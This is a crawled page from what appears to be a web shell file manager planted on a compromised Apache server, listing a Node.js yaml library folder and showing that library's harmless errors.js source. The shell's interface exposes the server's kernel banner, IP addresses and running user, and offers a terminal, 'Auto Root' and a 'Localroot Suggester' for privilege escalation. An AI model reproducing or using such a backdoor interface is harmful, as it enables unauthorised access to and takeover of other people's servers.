Linux v69820.1blu.de 4.15.0 #1 SMP Mon Sep 30 15:36:27 MSK 2024 x86_64
Apache/2.4.58
Server IP : 195.90.215.149 & Your IP : 216.73.217.80
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
usr /
share /
nodejs /
yaml /
browser /
dist /
Delete
Unzip
Name
Size
Permission
Date
Action
compose
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
doc
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
nodes
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
parse
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
schema
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
stringify
[ DIR ]
drwxr-xr-x
2024-07-10 10:56
errors.js
1.98
KB
-rw-r--r--
2024-02-26 08:46
index.js
879
B
-rw-r--r--
2024-02-26 08:46
log.js
541
B
-rw-r--r--
2024-02-26 08:46
public-api.js
3.77
KB
-rw-r--r--
2024-02-26 08:46
util.js
594
B
-rw-r--r--
2024-02-26 08:46
visit.js
8.89
KB
-rw-r--r--
2024-02-26 08:46
Save
Rename
class YAMLError extends Error { constructor(name, pos, code, message) { super(); this.name = name; this.code = code; this.message = message; this.pos = pos; } } class YAMLParseError extends YAMLError { constructor(pos, code, message) { super('YAMLParseError', pos, code, message); } } class YAMLWarning extends YAMLError { constructor(pos, code, message) { super('YAMLWarning', pos, code, message); } } const prettifyError = (src, lc) => (error) => { if (error.pos[0] === -1) return; error.linePos = error.pos.map(pos => lc.linePos(pos)); const { line, col } = error.linePos[0]; error.message += ` at line ${line}, column ${col}`; let ci = col - 1; let lineStr = src .substring(lc.lineStarts[line - 1], lc.lineStarts[line]) .replace(/[\n\r]+$/, ''); // Trim to max 80 chars, keeping col position near the middle if (ci >= 60 && lineStr.length > 80) { const trimStart = Math.min(ci - 39, lineStr.length - 79); lineStr = '…' + lineStr.substring(trimStart); ci -= trimStart - 1; } if (lineStr.length > 80) lineStr = lineStr.substring(0, 79) + '…'; // Include previous line in context if pointing at line start if (line > 1 && /^ *$/.test(lineStr.substring(0, ci))) { // Regexp won't match if start is trimmed let prev = src.substring(lc.lineStarts[line - 2], lc.lineStarts[line - 1]); if (prev.length > 80) prev = prev.substring(0, 79) + '…\n'; lineStr = prev + lineStr; } if (/[^ ]/.test(lineStr)) { let count = 1; const end = error.linePos[1]; if (end && end.line === line && end.col > col) { count = Math.max(1, Math.min(end.col - col, 80 - ci)); } const pointer = ' '.repeat(ci) + '^'.repeat(count); error.message += `:\n\n${lineStr}\n${pointer}\n`; } }; export { YAMLError, YAMLParseError, YAMLWarning, prettifyError };